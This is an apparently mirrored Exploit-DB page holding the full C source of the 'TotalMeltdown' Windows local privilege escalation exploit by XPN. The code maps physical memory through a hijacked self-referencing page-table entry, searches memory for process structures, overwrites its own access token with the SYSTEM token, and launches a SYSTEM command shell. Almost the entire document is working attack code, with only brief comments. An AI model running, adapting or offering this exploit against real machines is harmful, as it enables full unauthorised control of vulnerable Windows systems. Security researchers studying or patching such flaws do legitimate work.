Microsoft Windows – Local Privilege Escalation

  • 作者: XPN
    日期: 2018-04-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44581/
  • #include "stdafx.h"
    
    #define	PML4_BASE	0xFFFFF6FB7DBED000
    #define	PDP_BASE	0xFFFFF6FB7DA00000
    #define	PD_BASE		0xFFFFF6FB40000000
    #define	PT_BASE	0xFFFFF68000000000
    
    typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
    
    #pragma pack(push,4)
    typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
    	UCHAR Type;
    	UCHAR ShareDisposition;
    	USHORT Flags;
    	union {
    		struct {
    			PHYSICAL_ADDRESS Start;
    			ULONG Length;
    		} Generic;
    
    		struct {
    			PHYSICAL_ADDRESS Start;
    			ULONG Length;
    		} Port;
    
    		struct {
    #if defined(NT_PROCESSOR_GROUPS)
    			USHORT Level;
    			USHORT Group;
    #else
    			ULONG Level;
    #endif
    			ULONG Vector;
    			KAFFINITY Affinity;
    		} Interrupt;
    
    		struct {
    			union {
    				struct {
    #if defined(NT_PROCESSOR_GROUPS)
    					USHORT Group;
    #else
    					USHORT Reserved;
    #endif
    					USHORT MessageCount;
    					ULONG Vector;
    					KAFFINITY Affinity;
    				} Raw;
    
    				struct {
    #if defined(NT_PROCESSOR_GROUPS)
    					USHORT Level;
    					USHORT Group;
    #else
    					ULONG Level;
    #endif
    					ULONG Vector;
    					KAFFINITY Affinity;
    				} Translated;
    			} DUMMYUNIONNAME;
    		} MessageInterrupt;
    
    		struct {
    			PHYSICAL_ADDRESS Start; 
    			ULONG Length;
    		} Memory;
    
    		struct {
    			ULONG Channel;
    			ULONG Port;
    			ULONG Reserved1;
    		} Dma;
    
    		struct {
    			ULONG Channel;
    			ULONG RequestLine;
    			UCHAR TransferWidth;
    			UCHAR Reserved1;
    			UCHAR Reserved2;
    			UCHAR Reserved3;
    		} DmaV3;
    
    		struct {
    			ULONG Data[3];
    		} DevicePrivate;
    
    		struct {
    			ULONG Start;
    			ULONG Length;
    			ULONG Reserved;
    		} BusNumber;
    
    		struct {
    			ULONG DataSize;
    			ULONG Reserved1;
    			ULONG Reserved2;
    		} DeviceSpecificData;
    
    		struct {
    			PHYSICAL_ADDRESS Start;
    			ULONG Length40;
    		} Memory40;
    
    		struct {
    			PHYSICAL_ADDRESS Start;
    			ULONG Length48;
    		} Memory48;
    
    		struct {
    			PHYSICAL_ADDRESS Start;
    			ULONG Length64;
    		} Memory64;
    
    		struct {
    			UCHAR Class;
    			UCHAR Type;
    			UCHAR Reserved1;
    			UCHAR Reserved2;
    			ULONG IdLowPart;
    			ULONG IdHighPart;
    		} Connection;
    
    	} u;
    } CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
    #pragma pack(pop,4)
    
    typedef enum _INTERFACE_TYPE {
    	InterfaceTypeUndefined,
    	Internal,
    	Isa,
    	Eisa,
    	MicroChannel,
    	TurboChannel,
    	PCIBus,
    	VMEBus,
    	NuBus,
    	PCMCIABus,
    	CBus,
    	MPIBus,
    	MPSABus,
    	ProcessorInternal,
    	InternalPowerBus,
    	PNPISABus,
    	PNPBus,
    	Vmcs,
    	ACPIBus,
    	MaximumInterfaceType
    } INTERFACE_TYPE, *PINTERFACE_TYPE;
    
    typedef struct _CM_PARTIAL_RESOURCE_LIST {
    	USHORT Version;
    	USHORT Revision;
    	ULONGCount;
    	CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
    } CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;
    
    typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
    	INTERFACE_TYPE InterfaceType;
    	ULONGBusNumber;
    	CM_PARTIAL_RESOURCE_LIST PartialResourceList;
    } *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;
    
    typedef struct _CM_RESOURCE_LIST {
    	ULONG Count;
    	CM_FULL_RESOURCE_DESCRIPTOR List[1];
    } *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;
    
    struct memory_region {
    	ULONG64 size;
    	ULONG64 address;
    };
    
    // Very hack'y way of trying to map out physical memory regions to try and reduce
    // risk of BSOD
    DWORD parse_memory_map(struct memory_region *regions) {
    	HKEY hKey = NULL;
    	LPTSTR pszSubKey = L"Hardware\\ResourceMap\\System Resources\\Physical Memory";
    	LPTSTR pszValueName = L".Translated";
    	LPBYTE lpData = NULL;
    	DWORD dwLength = 0, count = 0, type = 0;;
    
    	if (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)
    	{
    		printf("[*] Could not get reg key\n");
    		return 0;
    	}
    
    	if (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)
    	{
    		printf("[*] Could not query hardware key\n");
    		return 0;
    	}
    
    	lpData = (LPBYTE)malloc(dwLength);
    	RegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);
    
    	CM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;
    
    	for (int i = 0; i < resource_list->Count; i++) {
    		for (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {
    			if (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {
    				regions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
    				regions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
    				regions++;
    				count++;
    			}
    		}
    	}
    
    	return count;
    }
    
    int main()
    {
    	printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
    	printf("paging code by @UlfFrisk\n\n");
    
    	unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
    	DWORD done;
    	DWORD count;
    
    	// Parse registry for physical memory regions
    	printf("[*] Getting physical memory regions from registry\n");
    	struct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);
    
    	count = parse_memory_map(regions);
    	if (count == 0) {
    		printf("[X] Could not find physical memory region, quitting\n");
    		return 2;
    	}
    
    	for (int i = 0; i < count; i++) {
    		printf("[*] Phyiscal memory region found: %p - %p\n", regions[i].address, regions[i].address + regions[i].size);
    	}
    
    	// Check for vulnerability
    	__try {
    		int test = *(unsigned long long *)PML4_BASE;
    	}
    	__except (EXCEPTION_EXECUTE_HANDLER) {
    		printf("[X] Could not access PML4 address, system likely not vulnerable\n");
    		return 2;
    	}
    
    	// setup: PDPT @ fixed hi-jacked physical address: 0x10000
    	// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
    	// we can hijack.
    	for (iPML4 = 256; iPML4 < 512; iPML4++) {
    		vaPML4e = PML4_BASE + (iPML4 << 3);
    		if (*(unsigned long long *)vaPML4e) { continue; }
    
    		// When we find an entry, we add a pointer to the next table (PDPT), which will be
    		// stored at the physical address 0x10000
    		*(unsigned long long *)vaPML4e = 0x10067;
    		break;
    	}
    	printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
    
    	// Here, the PDPT table is referenced via a virtual address.
    	// For example, if we added our hijacked PML4 entry at index 256, this virtual address
    	// would be 0xFFFFF6FB7DA00000 + 0x100000
    	// This allows us to reference the physical address 0x10000 as:
    	// PML4 Index: 1ed | PDPT Index : 1ed |	PDE Index : 1ed | PT Index : 100
    	vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
    	printf("[*] PDPT Virtual Address: %p", vaPDPT);
    
    	// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
    	// Below is responsible for adding 31 entries to the PDPT
    	for (iPDPT = 0; iPDPT < 31; iPDPT++) {
    		*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
    	}
    
    	// For each of the PDs, a further 512 PT's are created. This gives access to
    	// 512 * 32 * 2mb = 33gb physical memory space
    	for (iPDPT = 0; iPDPT < 31; iPDPT++) {
    		if ((iPDPT % 3) == 0)
    			printf("\n[*] PD Virtual Addresses: ");
    
    		vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
    		printf("%p ", vaPD);
    
    		for (iPD = 0; iPD < 512; iPD++) {
    			// Below, notice the 0xe7 flags added to each entry.
    			// This is used to create a 2mb page rather than the standard 4096 byte page.
    			*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
    		}
    	}
    
    	printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");
    
    	#define EPROCESS_IMAGENAME_OFFSET 0x2e0
    	#define EPROCESS_TOKEN_OFFSET 0x208
    	#define EPROCESS_PRIORITY_OFFSET 0xF// This is the offset from IMAGENAME, not from base
    
    	unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
    	unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
    	STARTUPINFOA si;
    	PROCESS_INFORMATION pi;
    	
    	ZeroMemory(&si, sizeof(si));
    	si.cb = sizeof(si);
    	ZeroMemory(&pi, sizeof(pi));
    
    	printf("[*] Hunting for _EPROCESS structures in memory\n");
    
    	for (int j = 0; j < count; j++) {
    		printf("[*] Trying physical region %p - %p\n", regions[j].address, regions[j].address + regions[j].size);
    
    		for (unsigned long long i = regions[j].address; i < +regions[j].address + regions[j].size; i++) {
    			
    			__try {
    				// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
    				if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
    					if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
    						ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
    						printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
    					}
    				}
    				// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
    				else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
    					if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
    						systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
    						printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
    					}
    				}
    
    				if (systemEPROCESS != 0 && ourEPROCESS != 0) {
    					// Swap the tokens by copying the pointer to System Token field over our process token
    					printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
    					*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
    					printf("[*] Done, spawning SYSTEM shell...\n\n");
    
    					CreateProcessA(0,
    						"cmd.exe",
    						NULL,
    						NULL,
    						TRUE,
    						0,
    						NULL,
    						"C:\\windows\\system32",
    						&si,
    						&pi);
    					break;
    				}
    			}
    			__except (EXCEPTION_EXECUTE_HANDLER) {
    				printf("[X] Exception occured, stopping to avoid BSOD\n");
    				return 2;
    			}
    		}
    	}
    return 0;
    }